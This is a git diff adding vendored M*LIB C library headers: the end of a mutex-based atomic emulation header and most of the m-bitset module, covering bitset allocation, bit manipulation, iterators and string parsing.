+typedef _Atomic(long long)          atomic_llong;
+typedef _Atomic(unsigned char)      atomic_uchar;
+typedef _Atomic(signed char)        atomic_schar;
+typedef _Atomic(unsigned short)     atomic_ushort;
+typedef _Atomic(unsigned int)       atomic_uint;
+typedef _Atomic(unsigned long)      atomic_ulong;
+typedef _Atomic(unsigned long long) atomic_ullong;
+typedef _Atomic(intptr_t)           atomic_intptr_t;
+typedef _Atomic(uintptr_t)          atomic_uintptr_t;
+typedef _Atomic(size_t)             atomic_size_t;
+typedef _Atomic(ptrdiff_t)          atomic_ptrdiff_t;
+
+/* Detect if stdint.h was included */
+#if (defined (INTMAX_C) && defined (UINTMAX_C) && !defined(__cplusplus)) ||   \
+  defined (_STDINT_H) || defined (_STDINT_H_) || defined (_STDINT) ||         \
+  defined (_SYS_STDINT_H_)
+/* Define additional atomic types */
+typedef _Atomic(intmax_t)           atomic_intmax_t;
+typedef _Atomic(uintmax_t)          atomic_uintmax_t;
+#endif
+
+/* (INTERNAL) Unlock the mutex and return the given value */
+M_INLINE long long atomic_fetch_unlock (m_mutex_t *lock, long long val)
+{
+  m_mutex_unlock (*lock);
+  return val;
+}
+
+/* (INTERNAL) This is the heart of the wrapper:
+   lock the atomic value, read it and returns the value.
+   In order to avoid any compiler extension, we need to transform the
+   atomic type into 'long long' then convert it back to its value.
+   This is because _previous can't be read after the lock, and we can't
+   generate temporary variable within a macro.
+   The trick is computing _val - _zero within the lock, then
+   returns retvalue + _zero after the release of the lock.
+*/
+#define atomic_fetch_op(ptr, val, op)                                         \
+  (m_mutex_lock((ptr)->_lock),                                                \
+   (ptr)->_previous = (ptr)->_val,                                            \
+   (ptr)->_val op (val),                                                      \
+   atomic_fetch_unlock(&(ptr)->_lock, (long long)((ptr)->_previous-(ptr)->_zero))+(ptr)->_zero)
+
+/* Perform an atomic add (EMULATION) */
+#define atomic_fetch_add(ptr, val) atomic_fetch_op(ptr, val, +=)
+/* Perform an atomic sub (EMULATION) */
+#define atomic_fetch_sub(ptr, val) atomic_fetch_op(ptr, val, -=)
+/* Perform an atomic or (EMULATION) */
+#define atomic_fetch_or(ptr, val)  atomic_fetch_op(ptr, val, |=)
+/* Perform an atomic xor (EMULATION) */
+#define atomic_fetch_xor(ptr, val) atomic_fetch_op(ptr, val, ^=)
+/* Perform an atomic and (EMULATION) */
+#define atomic_fetch_and(ptr, val) atomic_fetch_op(ptr, val, &=)
+/* Perform an atomic exchange (EMULATION) */
+#define atomic_exchange(ptr, val)  atomic_fetch_op(ptr, val, =)
+
+/* Initialize an atomic GLOBAL variable */
+#define ATOMIC_VAR_INIT(val) { val, 0, 0, M_MUTEXI_INIT_VALUE }
+
+/* Initialize an atomic variable */
+#define atomic_init(ptr, val)                                                 \
+  (m_mutex_init((ptr)->_lock), (ptr)->_val = val, (ptr)->_zero = 0)
+
+/* Atomic load of a variable (EMULATION) */
+#define atomic_load(ptr)                                                      \
+  (m_mutex_lock((ptr)->_lock),                                                \
+   (ptr)->_previous = (ptr)->_val,                                            \
+   atomic_fetch_unlock(&(ptr)->_lock, (long long) ((ptr)->_previous-(ptr)->_zero))+(ptr)->_zero)
+  
+/* Atomic store of a variable (EMULATION) */
+#define atomic_store(ptr, val)                                                \
+  (m_mutex_lock((ptr)->_lock),                                                \
+   (ptr)->_val = (val),                                                       \
+   m_mutex_unlock((ptr)->_lock))
+
+/* Perform a CAS (Compare and swap) operation (EMULATION) */
+#define atomic_compare_exchange_strong(ptr, exp, val)                         \
+  (m_mutex_lock((ptr)->_lock),                                                \
+   atomic_fetch_unlock(&(ptr)->_lock,                                         \
+                       (ptr)->_val == *(exp)                                  \
+                       ? ((ptr)->_val = (val), true)                          \
+                       : (*(exp) = (ptr)->_val, false)))
+
+  
+#define atomic_fetch_add_explicit(ptr, val, mem) atomic_fetch_op(ptr, val, +=)
+#define atomic_fetch_sub_explicit(ptr, val, mem) atomic_fetch_op(ptr, val, -=)
+#define atomic_fetch_or_explicit(ptr, val, mem)  atomic_fetch_op(ptr, val, |=)
+#define atomic_fetch_xor_explicit(ptr, val, mem) atomic_fetch_op(ptr, val, ^=)
+#define atomic_fetch_and_explicit(ptr, val, mem) atomic_fetch_op(ptr, val, &=)
+#define atomic_exchange_explicit(ptr, val, mem)  atomic_fetch_op(ptr, val, =)
+#define atomic_load_explicit(ptr, mem)           atomic_load(ptr)
+#define atomic_store_explicit(ptr, val, mem)     atomic_store(ptr, val)
+#define kill_dependency(ptr)                     atomic_load(ptr)
+#define atomic_thread_fence(mem)                 (void) 0
+#define atomic_signal_fence(mem)                 (void) 0
+#define atomic_is_lock_free(ptr)                 false
+#define atomic_compare_exchange_strong_explicit(ptr, exp, val, mem1, mem2) atomic_compare_exchange_strong(ptr, exp, val)
+#define atomic_compare_exchange_weak_explicit(ptr, exp, val, mem1, mem2)   atomic_compare_exchange_strong(ptr, exp, val)
+#define atomic_compare_exchange_weak(ptr, exp, val)                        atomic_compare_exchange_strong(ptr, exp, val)
+
+/* TODO: Missing atomic_flag. Problem: it is supposed to be lock free! */
+
+M_END_PROTECTED_CODE
+
+#endif
+
+// C17 deprecated ATOMIC_VAR_INIT
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201710L
+# define M_ATOMIC_VAR_INIT(x) (x)
+#else
+# define M_ATOMIC_VAR_INIT(x) ATOMIC_VAR_INIT(x)
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-bitset.h b/lib/subghz_unleashed_compat/include/mlib/m-bitset.h
new file mode 100644
index 000000000..200049f24
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-bitset.h
@@ -0,0 +1,1003 @@
+/*
+ * M*LIB - BITSET module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_BITSET_H
+#define MSTARLIB_BITSET_H
+
+#include <stdint.h>
+#include "m-core.h"
+
+/********************************** INTERNAL ************************************/
+
+M_BEGIN_PROTECTED_CODE
+
+// Define the basic limb of a bitset
+typedef uint64_t m_b1tset_limb_ct;
+// And its size in bits
+#define M_B1TSET_LIMB_BIT (sizeof(m_b1tset_limb_ct) * CHAR_BIT)
+
+// bitset grow policy. n is limb size
+#define M_B1TSET_INC_ALLOC_SIZE(n) ((n) < 4 ? 4 : (n) * 2)
+
+// Compute the number of allocated limbs needed to handle 'n' bits.
+#define M_B1TSET_TO_ALLOC(n)       (((n) + M_B1TSET_LIMB_BIT - 1) / M_B1TSET_LIMB_BIT)
+
+// Compute the number of bits available from the allocated size in limbs
+#define M_B1TSET_FROM_ALLOC(n)     ((n) * M_B1TSET_LIMB_BIT)
+
+// Contract of a bitset
+#define M_B1TSET_CONTRACT(t) do {                                             \
+    M_ASSERT (t != NULL);                                                     \
+    M_ASSERT (t->size <= M_B1TSET_FROM_ALLOC (t->alloc));                     \
+    M_ASSERT (t->alloc <= ((size_t)-1) / M_B1TSET_LIMB_BIT);                  \
+    M_ASSERT (t->size < ((size_t)-1) - M_B1TSET_LIMB_BIT);                    \
+    M_ASSERT (t->size == 0 || t->ptr != NULL);                                \
+    M_ASSERT (t->alloc == 0 || t->ptr != NULL);                               \
+    M_ASSERT ((t->size % M_B1TSET_LIMB_BIT) == 0 || (t->ptr[ (t->size-1) / M_B1TSET_LIMB_BIT] & ~(((((m_b1tset_limb_ct)1)<<(t->size % M_B1TSET_LIMB_BIT))<<1)-1)) == 0); \
+  } while (0)
+
+
+/********************************** EXTERNAL ************************************/
+
+/* Define a type of variable 'bits' or array of packed booleans */
+typedef struct m_bitset_s {
+  size_t size;            // Size is the number of bits
+  size_t alloc;           // Alloc is the number of allocated limbs
+  m_b1tset_limb_ct *ptr;  // Pointer to the allocated limbs
+} m_bitset_t[1];
+
+/* Pointer to a m_bitset_t */
+typedef struct m_bitset_s *m_bitset_ptr;
+
+/* Constant Pointer to a m_bitset_t */
+typedef const struct m_bitset_s *m_bitset_srcptr;
+
+/* Iterator on a bitset */
+typedef struct m_bitset_it_s {
+  size_t index;           // index to the array of bit
+  bool   value;           // value used for _ref & _cref to store the value
+  struct m_bitset_s *set; // the associated bitset
+} m_bitset_it_t[1];
+
+/* Initialize a bitset (CONSTRUCTOR) */
+M_INLINE void
+m_bitset_init(m_bitset_t t)
+{
+  M_ASSERT (t != NULL);
+  M_STATIC_ASSERT (M_POWEROF2_P(M_B1TSET_LIMB_BIT), MLIB_INTERNAL, "M*LIB: BITSET LIMB shall be a power of 2.");
+  t->size = 0;
+  t->alloc = 0;
+  t->ptr = NULL;
+  M_B1TSET_CONTRACT(t);
+}
+
+/* Clean a bitset */
+M_INLINE void
+m_bitset_reset(m_bitset_t t)
+{
+  M_B1TSET_CONTRACT(t);
+  t->size = 0;
+}
+
+/* Clear a bitset (DESTRUCTOR) */
+M_P(void, m_bitset, _clear, m_bitset_t t)
+{
+  m_bitset_reset(t);
+  M_MEMORY_FREE(m_context, m_b1tset_limb_ct, t->ptr, t->alloc);
+  // This is not really needed, but is safer
+  // This representation is invalid and will be detected by the contract.
+  // A C compiler should be able to optimize out theses initializations.
+  t->alloc = 1;
+  t->ptr = NULL;
+}
+
+/* Set a bitset to another one */
+M_P(void, m_bitset, _set, m_bitset_t d, const m_bitset_t s)
+{
+  M_B1TSET_CONTRACT(d);
+  M_B1TSET_CONTRACT(s);
+  if (M_UNLIKELY (d == s)) return;
+  const size_t needAlloc = M_B1TSET_TO_ALLOC (s->size);
+  if (M_LIKELY (s->size > 0)) {
+    // Test if enough space in target
+    if (s->size > M_B1TSET_FROM_ALLOC (d->alloc)) {
+      m_b1tset_limb_ct *ptr = M_MEMORY_REALLOC (m_context, m_b1tset_limb_ct, d->ptr, d->alloc, needAlloc);
+      if (M_UNLIKELY_NOMEM (ptr == NULL)) {
+        M_MEMORY_FULL(m_b1tset_limb_ct, needAlloc);
+      }
+      d->ptr = ptr;
+      d->alloc = needAlloc;
+    }
+    M_ASSERT(d->ptr != NULL);
+    M_ASSERT(s->ptr != NULL);
+    memcpy (d->ptr, s->ptr, needAlloc * sizeof(m_b1tset_limb_ct) );
+  }
+  d->size = s->size;
+  M_B1TSET_CONTRACT(d);
+}
+
+/* Initialize & set a bitset to another one (CONSTRUCTOR) */
+M_P(void, m_bitset, _init_set, m_bitset_t d, const m_bitset_t s)
+{
+  M_ASSERT (d != s);
+  // In case of exception, d remains initialized,
+  // but without any allocation done.
+  // Therefore it is safe, not to clear d on exception.
+  m_bitset_init(d);
+  m_bitset_set M_R(d, s);
+}
+
+/* Initialize & move a bitset (CONSTRUCTOR) from another one (DESTRUCTOR) */
+M_INLINE void
+m_bitset_init_move(m_bitset_t d, m_bitset_t s)
+{
+  M_B1TSET_CONTRACT(s);
+  d->size  = s->size;
+  d->alloc = s->alloc;
+  d->ptr   = s->ptr;
+  // Illegal representation of a bitset, to be detectable
+  s->alloc = 1;
+  s->ptr = NULL;
+  M_B1TSET_CONTRACT(d);  
+}
+
+/* Move a bitset from another one (DESTRUCTOR) */
+M_P(void, m_bitset, _move, m_bitset_t d, m_bitset_t s)
+{
+  m_bitset_clear M_R(d);
+  m_bitset_init_move (d, s);
+}
+
+/* Set the bit 'i' in the bitset to the value 'x' */
+M_INLINE void
+m_bitset_set_at(m_bitset_t v, size_t i, bool x)
+{
+  M_B1TSET_CONTRACT(v);
+  M_ASSERT (v->ptr != NULL);
+  M_ASSERT_INDEX(i, v->size);
+  const size_t offset = i / M_B1TSET_LIMB_BIT;
+  const size_t index  = i % M_B1TSET_LIMB_BIT;
+  // This is a branchless version as x can only be 0 or 1 with only one variable shift.
+  const m_b1tset_limb_ct mask = ((m_b1tset_limb_ct)1)<<index;
+  v->ptr[offset] = (v->ptr[offset] & ~mask) | (mask & (0-(m_b1tset_limb_ct)x));
+  M_B1TSET_CONTRACT (v);
+}
+
+/* Flip the bit 'i' in the bitset */
+M_INLINE void
+m_bitset_flip_at(m_bitset_t v, size_t i)
+{
+  M_B1TSET_CONTRACT(v);
+  M_ASSERT (v->ptr != NULL);
+  M_ASSERT_INDEX(i, v->size);
+  size_t offset = i / M_B1TSET_LIMB_BIT;
+  size_t index  = i % M_B1TSET_LIMB_BIT;
+  v->ptr[offset] ^= ((m_b1tset_limb_ct)1)<<index;
+  M_B1TSET_CONTRACT (v);
+}
+
+/* Push back the boolean 'x' in the bitset (increasing the bitset) */
+M_P(void, m_bitset, _push_back, m_bitset_t v, bool x)
+{
+  M_B1TSET_CONTRACT (v);
+  if (M_UNLIKELY (v->size >= M_B1TSET_FROM_ALLOC (v->alloc))) {
+    // Compute the needed allocation.
+    const size_t needAlloc = M_B1TSET_INC_ALLOC_SIZE(v->alloc);
+    // Check for integer overflow
+    if (M_UNLIKELY_NOMEM (needAlloc <= v->alloc)) {
+      M_MEMORY_FULL(m_b1tset_limb_ct, needAlloc);
+    }
+    // Alloc memory
+    m_b1tset_limb_ct *ptr = M_MEMORY_REALLOC (m_context, m_b1tset_limb_ct, v->ptr, v->alloc, needAlloc);
+    // Check if success
+    if (M_UNLIKELY_NOMEM (ptr == NULL) ) {
+      M_MEMORY_FULL(m_b1tset_limb_ct, needAlloc);
+    }
+    v->ptr = ptr;
+    v->alloc = needAlloc;
+  }
+  M_ASSERT(v->ptr != NULL);
+
+  const size_t i = v->size;
+  const size_t offset = i / M_B1TSET_LIMB_BIT;
+  const size_t index  = i % M_B1TSET_LIMB_BIT;
+  if (M_UNLIKELY(index == 0)) {
+    // A new limb if used. Clear it before using it.
+    v->ptr[offset] = 0;
+  }
+  // This is a branchless version as x can only be 0 or 1 with only one variable shift.
+  const m_b1tset_limb_ct mask = ((m_b1tset_limb_ct)1)<<index;
+  v->ptr[offset] = (v->ptr[offset] & ~mask) | (mask & (0-(m_b1tset_limb_ct)x));
+  v->size ++;
+  M_B1TSET_CONTRACT (v);
+}
+
+/* Resize the bitset to have exactly 'size' bits */
+M_P(void, m_bitset, _resize, m_bitset_t v, size_t size)
+{
+  M_B1TSET_CONTRACT (v);
+  // Check for overflow
+  if (M_UNLIKELY_NOMEM (size >= ((size_t)-1) - M_B1TSET_LIMB_BIT)) {
+    M_MEMORY_FULL(char, -(size_t)1);
+  }
+  // Compute the needed allocation.
+  size_t newAlloc = M_B1TSET_TO_ALLOC (size);
+  if (newAlloc > v->alloc) {
+    // Allocate more limbs to store the bitset.
+    m_b1tset_limb_ct *ptr = M_MEMORY_REALLOC (m_context, m_b1tset_limb_ct, v->ptr, v->alloc, newAlloc);
+    if (M_UNLIKELY_NOMEM (ptr == NULL) ) {
+      M_MEMORY_FULL(m_b1tset_limb_ct, newAlloc);
+    }
+    v->ptr = ptr;
+    v->alloc = newAlloc;
+  }
+  // Resize the bitsets
+  const size_t old_size = v->size;
+  const size_t offset = size / M_B1TSET_LIMB_BIT;
+  const size_t index  = size % M_B1TSET_LIMB_BIT;
+  const m_b1tset_limb_ct mask = (((m_b1tset_limb_ct)1)<<index)-1;
+  if (size < old_size) {
+    // Resize down the bitset: clear unused bits
+    if (M_LIKELY(index != 0)) {
+      // Mask the last limb to clear the last bits
+      v->ptr[offset] &= mask;
+    }
+  } else if (size > old_size) {
+    // Resize up the bitset: set to 0 new bits.
+    const size_t old_offset = (old_size + M_B1TSET_LIMB_BIT - 1)/ M_B1TSET_LIMB_BIT;
+    for(size_t i = old_offset ; i < offset; i++) {
+      v->ptr[i] = 0;
+    }
+    if (M_LIKELY(index != 0)) {
+      // Mask the last limb to clear the last bits
+      v->ptr[offset] = 0;
+    }
+  }
+  v->size = size;
+  M_B1TSET_CONTRACT (v);
+}
+
+/* Reserve allocation in the bitset to accommodate at least 'size' bits without reallocation */
+M_P(void, m_bitset, _reserve, m_bitset_t v, size_t alloc)
+{
+  M_B1TSET_CONTRACT (v);
+  size_t oldAlloc = M_B1TSET_TO_ALLOC (v->size);
+  size_t newAlloc = M_B1TSET_TO_ALLOC (alloc);
+  // We refuse to reduce allocation below current size
+  if (oldAlloc > newAlloc) {
+    newAlloc = oldAlloc;
+  }
+  if (M_UNLIKELY (newAlloc == 0)) {
+    // Free all memory used by the bitsets
+    M_MEMORY_FREE (m_context, m_b1tset_limb_ct, v->ptr, v->alloc);
+    v->size = v->alloc = 0;
+    v->ptr = NULL;
+  } else {
+    // Allocate more memory or reduce memory usage
+    m_b1tset_limb_ct *ptr = M_MEMORY_REALLOC (m_context, m_b1tset_limb_ct, v->ptr, v->alloc, newAlloc);
+    if (M_UNLIKELY_NOMEM (ptr == NULL) ) {
+      M_MEMORY_FULL(m_b1tset_limb_ct, newAlloc);
+    }
+    v->ptr = ptr;
+    v->alloc = newAlloc;
+  }
+  M_B1TSET_CONTRACT (v);
+}
+
+/* Return the value of the boolean at index 'i'.    
+ * NOTE: Interface is a little bit different:
+ * It doesn't return a pointer to the data, but the data itself.
+ */
+M_INLINE bool
+m_bitset_get(const m_bitset_t v, size_t i)
+{
+  M_B1TSET_CONTRACT(v);
+  M_ASSERT (v->ptr != NULL);
+  M_ASSERT_INDEX(i, v->size);
+  size_t offset = i / M_B1TSET_LIMB_BIT;
+  size_t index  = i % M_B1TSET_LIMB_BIT;
+  return ( v->ptr[offset] & (((m_b1tset_limb_ct)1) << index) ) != 0;
+}
+
+/* m_bitset_cget is the exact same service than m_bitset_get */
+#define m_bitset_cget m_bitset_get
+
+/* Pop back the last bit in the bitset */
+M_INLINE void
+m_bitset_pop_back(bool *dest, m_bitset_t v)
+{
+  M_B1TSET_CONTRACT (v);
+  M_ASSERT_INDEX (0, v->size);
+  // Remove one item from the bitset
+  v->size--;
+  // Prepare clearing popped bit
+  const size_t offset = v->size / M_B1TSET_LIMB_BIT;
+  const size_t index  = v->size % M_B1TSET_LIMB_BIT;
+  const m_b1tset_limb_ct mask = ((m_b1tset_limb_ct)1)<<index;
+  if (dest) {
+    // Read popped bit
+    *dest = (v->ptr[offset] & mask) != 0;
+  }
+  v->ptr[offset] &= mask-1;
+  M_B1TSET_CONTRACT (v);
+}
+
+/* Return the front bit value in the bitset */
+M_INLINE bool
+m_bitset_front(const m_bitset_t v)
+{
+  M_B1TSET_CONTRACT (v);
+  M_ASSERT_INDEX (0, v->size);
+  return m_bitset_get(v, 0);
+}
+
+/* Return the back bit value in the bitset */
+M_INLINE bool
+m_bitset_back(const m_bitset_t v)
+{
+  M_B1TSET_CONTRACT (v);
+  M_ASSERT_INDEX (0, v->size);
+  return m_bitset_get(v, v->size-1);
+}
+
+/* Test if the bitset is empty (no bits stored)*/
+M_INLINE bool
+m_bitset_empty_p(const m_bitset_t v)
+{
+  M_B1TSET_CONTRACT (v);
+  return v->size == 0;
+}
+
+/* Return the number of bits of the bitset */
+M_INLINE size_t
+m_bitset_size(const m_bitset_t v)
+{
+  M_B1TSET_CONTRACT (v);
+  return v->size;
+}
+
+/* Return the capacity in bits of the bitset */
+M_INLINE size_t
+m_bitset_capacity(const m_bitset_t v)
+{
+  M_B1TSET_CONTRACT (v);
+  return M_B1TSET_FROM_ALLOC (v->alloc);
+}
+
+/* Swap the bit at index i and j of the bitset */
+M_INLINE void
+m_bitset_swap_at (m_bitset_t v, size_t i, size_t j)
+{
+  M_ASSERT_INDEX(i, v->size);
+  M_ASSERT_INDEX(j, v->size);
+
+  bool i_val = m_bitset_get(v, i);
+  bool j_val = m_bitset_get(v, j);
+  m_bitset_set_at (v, i, j_val);
+  m_bitset_set_at (v, j, i_val);
+}
+
+/* Swap the bitsets */
+M_INLINE void
+m_bitset_swap (m_bitset_t v1, m_bitset_t v2)
+{
+  M_B1TSET_CONTRACT (v1);
+  M_B1TSET_CONTRACT (v2);
+  M_SWAP (size_t, v1->size, v2->size);
+  M_SWAP (size_t, v1->alloc, v2->alloc);
+  M_SWAP (m_b1tset_limb_ct *, v1->ptr, v2->ptr);
+  M_B1TSET_CONTRACT (v1);
+  M_B1TSET_CONTRACT (v2);
+}
+
+/* (INTERNAL) Left shift of the bitset (ptr+size) by 1 bit,
+ * integrating the carry in the lowest position.
+ * Return the new carry.
+ */
+M_INLINE m_b1tset_limb_ct
+m_b1tset_lshift(m_b1tset_limb_ct ptr[], size_t n, m_b1tset_limb_ct carry)
+{
+  for(size_t i = 0; i < n; i++) {
+    m_b1tset_limb_ct v = ptr[i];
+    ptr[i] = (v << 1) | carry;
+    carry = (v >> (M_B1TSET_LIMB_BIT-1) );
+  }
+  return carry;
+}
+
+/* (INTERNAL) Right shift of the bitset (ptr+size) by 1 bit,
+ * integrating the carry in the lowest position.
+ * Return the new carry.
+ */
+M_INLINE m_b1tset_limb_ct
+m_b1tset_rshift(m_b1tset_limb_ct ptr[], size_t n, m_b1tset_limb_ct carry)
+{
+  for(size_t i = n - 1; i < n; i--) {
+    m_b1tset_limb_ct v = ptr[i];
+    ptr[i] = (v >> 1) | (carry << (M_B1TSET_LIMB_BIT-1) );
+    carry = v & 1;
+  }
+  return carry;
+}
+
+/* Insert a new bit at position 'key' of value 'value' in the bitset 'set'
+  shifting the set accordingly */
+M_P(void, m_bitset, _push_at, m_bitset_t set, size_t key, bool value)
+{
+  M_B1TSET_CONTRACT (set);
+  // First push another value to extend the array to the right size
+  m_bitset_push_back M_R(set, false);
+  M_ASSERT (set->ptr != NULL);
+  M_ASSERT_INDEX(key, set->size);
+
+  // Then shift it
+  size_t offset = key / M_B1TSET_LIMB_BIT;
+  size_t index  = key % M_B1TSET_LIMB_BIT;
+  m_b1tset_limb_ct v = set->ptr[offset];
+  m_b1tset_limb_ct mask = (((m_b1tset_limb_ct)1)<<index)-1;
+  m_b1tset_limb_ct carry = (v >> (M_B1TSET_LIMB_BIT-1) );
+  v = (v & mask) | ((unsigned int) value << index) | ((v & ~mask) << 1);
+  set->ptr[offset] = v;
+  size_t size = (set->size + M_B1TSET_LIMB_BIT - 1) / M_B1TSET_LIMB_BIT;
+  M_ASSERT (size >= offset + 1);
+  v = m_b1tset_lshift(&set->ptr[offset+1], size - offset - 1, carry);
+  // v is unused as it should be zero.
+  M_ASSERT(v == 0);
+  (void) v;
+  M_B1TSET_CONTRACT (set);
+}
+
+/* Pop a new bit at position 'key' in the bitset 
+ * and return in *dest its value if *dest exists */
+M_INLINE void
+m_bitset_pop_at(bool *dest, m_bitset_t set, size_t key)
+{
+  M_B1TSET_CONTRACT (set);
+  M_ASSERT (set->ptr != NULL);
+  M_ASSERT_INDEX(key, set->size);
+
+   if (dest) {
+     *dest = m_bitset_get (set, key);
+   }
+   // Shift it
+   size_t offset = key / M_B1TSET_LIMB_BIT;
+   size_t index  = key % M_B1TSET_LIMB_BIT;
+   size_t size = (set->size + M_B1TSET_LIMB_BIT - 1) / M_B1TSET_LIMB_BIT;
+   m_b1tset_limb_ct v, mask, carry;
+   carry = m_b1tset_rshift(&set->ptr[offset+1], size - offset - 1, false);
+   v = set->ptr[offset];
+   mask = (((m_b1tset_limb_ct)1)<<index)-1;
+   v = (v & mask) | ((v>>1) & ~mask) | (carry << (M_B1TSET_LIMB_BIT-1)) ;
+   set->ptr[offset] = v;
+   // Decrease size
+   set->size --;
+   M_B1TSET_CONTRACT (set);
+}
+
+/* Test if two bitsets are equal */
+M_INLINE bool
+m_bitset_equal_p (const m_bitset_t set1, const m_bitset_t set2)
+{
+  M_B1TSET_CONTRACT (set1);
+  M_B1TSET_CONTRACT (set2);
+  if (set1->size != set2->size)
+    return false;
+  /* We won't compare each bit individually,
+     but instead compare them per limb */
+  const size_t limbSize = (set1->size + M_B1TSET_LIMB_BIT -1) / M_B1TSET_LIMB_BIT;
+  for(size_t i = 0 ; i < limbSize;i++)
+    if (set1->ptr[i] != set2->ptr[i])
+      return false;
+  return true;
+}
+
+/* Initialize an iterator to the first bit of the bitset */
+M_INLINE void
+m_bitset_it(m_bitset_it_t it, m_bitset_t set)
+{
+   M_B1TSET_CONTRACT (set);
+   it->index = 0;
+   it->set = set;
+}
+
+/* Initialize an iterator to reference the same bit as the given one*/
+M_INLINE void
+m_bitset_it_set(m_bitset_it_t it, const m_bitset_it_t itorg)
+{
+  M_ASSERT (it != NULL && itorg != NULL);
+  it->index = itorg->index;
+  it->set = itorg->set;
+}
+
+/* Initialize an iterator to reference the last bit of the bitset*/
+M_INLINE void
+m_bitset_it_last(m_bitset_it_t it, m_bitset_t set)
+{
+   M_B1TSET_CONTRACT (set);
+   it->index = set->size-1;
+   it->set = set;
+}
+
+/* Initialize an iterator to reference no valid bit of the bitset*/
+M_INLINE void
+m_bitset_it_end(m_bitset_it_t it, m_bitset_t set)
+{
+   M_B1TSET_CONTRACT (set);
+   it->index = set->size;
+   it->set = set;
+}
+
+/* Test if an iterator references no valid bit of the bitset anymore */
+M_INLINE bool
+m_bitset_end_p(const m_bitset_it_t it)
+{
+  M_ASSERT (it != NULL && it->set != NULL);
+  return (it->index) >= (it->set->size);
+}
+
+/* Test if an iterator references the last (or end) bit of the bitset anymore */
+M_INLINE bool
+m_bitset_last_p(const m_bitset_it_t it)
+{
+  M_ASSERT (it != NULL && it->set != NULL);
+  /* NOTE: Can not compute 'size-1' due to potential overflow
+     if size is 0 */
+  return (it->index+1) >= (it->set->size);
+}
+
+/* Test if both iterators reference the same bit */
+M_INLINE bool
+m_bitset_it_equal_p(const m_bitset_it_t it1, const m_bitset_it_t it2)
+{
+  M_ASSERT (it1 != NULL && it2 != NULL);
+  return it1->index == it2->index && it1->set == it2->set;
+}
+
+/* Move the iterator to the next bit */
+M_INLINE void
+m_bitset_next(m_bitset_it_t it)
+{
+  M_ASSERT (it != NULL && it->set != NULL);
+  it->index++;
+}
+
+/* Move the iterator to the previous bit */
+M_INLINE void
+m_bitset_previous(m_bitset_it_t it)
+{
+  M_ASSERT (it != NULL && it->set != NULL);
+  it->index--;
+}
+
+// There is no _ref as it is not possible to modify the value using the IT interface
+
+/* Return a pointer to the bit referenced by the iterator 
+ * Only one reference is possible at a time per iterator */
+M_INLINE const bool *
+m_bitset_cref(m_bitset_it_t it)
+{
+  M_ASSERT (it != NULL && it->set != NULL);
+  it->value = m_bitset_get(it->set, it->index);
+  return &it->value;
+}
+
+/* Output the bitset as a formatted text in a FILE */
+M_INLINE void
+m_bitset_out_str(FILE *file, const m_bitset_t set)
+{
+  M_B1TSET_CONTRACT (set);
+  M_ASSERT(file != NULL);
+  fputc ('[', file);
+  for(size_t i = 0; i < set->size; i++) {
+    const bool b = m_bitset_get (set, i);
+    const char c = b ? '1' : '0';
+    fputc (c, file);
+  }
+  fputc (']', file);
+}
+
+/* Input the bitset from a formatted text in a FILE */
+M_P(bool, m_bitset, _in_str, m_bitset_t set, FILE *file)
+{
+  M_B1TSET_CONTRACT (set);
+  M_ASSERT(file != NULL);
+  m_bitset_reset(set);
+  int c = fgetc(file);
+  if (M_UNLIKELY (c != '[')) return false;
+  c = fgetc(file);
+  while (c == '0' || c == '1') {
+    const bool b = (c == '1');
+    m_bitset_push_back M_R(set, b);
+    c = fgetc(file);
+  }
+  M_B1TSET_CONTRACT (set);
+  return c == ']';
+}
+
+/* Parse the bitset from a formatted text in a C string */
+M_P(bool, m_bitset, _parse_str, m_bitset_t set, const char str[], const char **endptr)
+{
+  M_B1TSET_CONTRACT (set);
+  M_ASSERT(str != NULL);
+  bool success = false;
+  m_bitset_reset(set);
+  char c = *str++;
+  if (M_UNLIKELY(c != '[')) goto exit;
+  c = *str++;
+  do {
+    if (M_UNLIKELY(c != '0' && c != '1')) goto exit;
+    const bool b = (c == '1');
+    m_bitset_push_back M_R(set, b);
+    c = *str++;
+  } while (c != ']' && c != 0);
+  M_B1TSET_CONTRACT (set);
+  success = (c == ']');
+ exit:
+  if (endptr) *endptr = str;
+  return success;
+}
+
+/* Set the bitset from a formatted text in a C string */
+M_P(bool, m_bitset, _set_str, m_bitset_t dest, const char str[])
+{
+  return m_bitset_parse_str M_R(dest, str, NULL);
+}
+
+/* Perform an AND operation between the bitsets,
+ * up to the minimum size of both bitsets */
+M_INLINE void
+m_bitset_and(m_bitset_t dest, const m_bitset_t src)
+{
+  M_B1TSET_CONTRACT(dest);
+  M_B1TSET_CONTRACT(src);
+  size_t s = M_MIN(dest->size, src->size);
+  size_t n = (s + M_B1TSET_LIMB_BIT -1) / M_B1TSET_LIMB_BIT;
+  for(size_t i = 0 ; i < n; i++)
+    dest->ptr[i] &= src->ptr[i];
+  // Reduce the dest size to the minimum size between both
+  dest->size = s;
+  M_B1TSET_CONTRACT(dest);
+}
+
